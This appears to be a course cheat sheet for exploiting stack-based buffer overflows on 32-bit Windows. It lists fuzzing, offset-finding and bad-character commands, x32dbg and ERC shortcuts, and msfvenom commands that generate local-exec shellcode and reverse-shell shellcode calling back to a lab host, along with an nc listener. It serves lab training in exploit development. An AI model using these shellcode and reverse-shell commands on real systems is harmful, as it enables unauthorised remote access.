

STACK-BASED BUFFER OVERFLOWS ON WINDOWS X86 CHEAT SHEET

Buffer Overflow Steps

1. Fuzzing Parameters
2. Controlling EIP
3. Identifying Bad Characters
4. Finding a Return Instruction
5. Jumping to Shellcode

Commands

| Command | Description |
|---|---|
| General | |
| <code>xfreerdp /v:<target IP address> /u:htb-student /p:<password></code> | RDP to Windows VM |
| <code>/usr/bin/msf-pattern_create -l 5000</code> | Create Pattern |
| <code>/usr/bin/msf-pattern_offset -q 31684630</code> | Find Pattern Offset |
| <code>netstat -a findstr LISTEN</code> | List listening ports on a Windows machine |
| <code>.\nc.exe 127.0.0.1 8888</code> | Interact with port |
| <code>msfvenom -p 'windows/exec' CMD='cmd.exe' -f 'python' -b '\x00'</code> | Generate Local Privesc Shellcode |

| Command | Description |
|---|---|
| <code>msfvenom -p 'windows/shell_reverse_tcp' LHOST=10.10.15.10 LPORT=1234 -f 'python' -b '\x00\x0a'</code> | Generate Reverse Shell Shellcode |
| <code>nc -lvnp 1234</code> | Listen for reverse shell |
| x32dbg | |
| F3 | Open file |
| alt+A | Attach to a process |
| alt+L | Go to Logs Tab |
| alt+E | Go to Symbols Tab |
| ctrl+f | Search for instruction |
| ctrl+b | Search for pattern |
| Search For>All Modules>Command | Search all loaded modules for instruction |
| Search For>All Modules>Pattern | Search all loaded modules for pattern |
| ERC | |
| <code>ERC --config SetWorkingDirectory C:\Users\htb-student\Desktop\</code> | Configure Working Directory |
| <code>ERC --pattern c 5000</code> | Create Pattern |
| <code>ERC --pattern o 1hF0</code> | Find Pattern Offset |
| <code>ERC --bytearray</code> | Generate All Characters Byte Array |
| <code>ERC --bytearray -bytes 0x00</code> | Generate Byte Array excluding certain bytes |

| Command | Description |
|--|--|
| <code>ERC --compare 0014F974 C:\Users\htb-student\Desktop\ByteArray_1.bin</code> | Compare bytes in memory to a Byte Array file |
| <code>ERC --ModuleInfo</code> | List loaded modules and their memory protections |
| Python | |
| <code>python -c "print('A'*10000)"</code> | Print fuzzing payload |
| <code>python -c "print('A'*10000, file=open('fuzz.wav', 'w'))"</code> | Write fuzzing payload to a file |
| <code>breakpoint()</code> | Add breakpoint to Python exploit |
| <code>c</code> | Continue from breakpoint |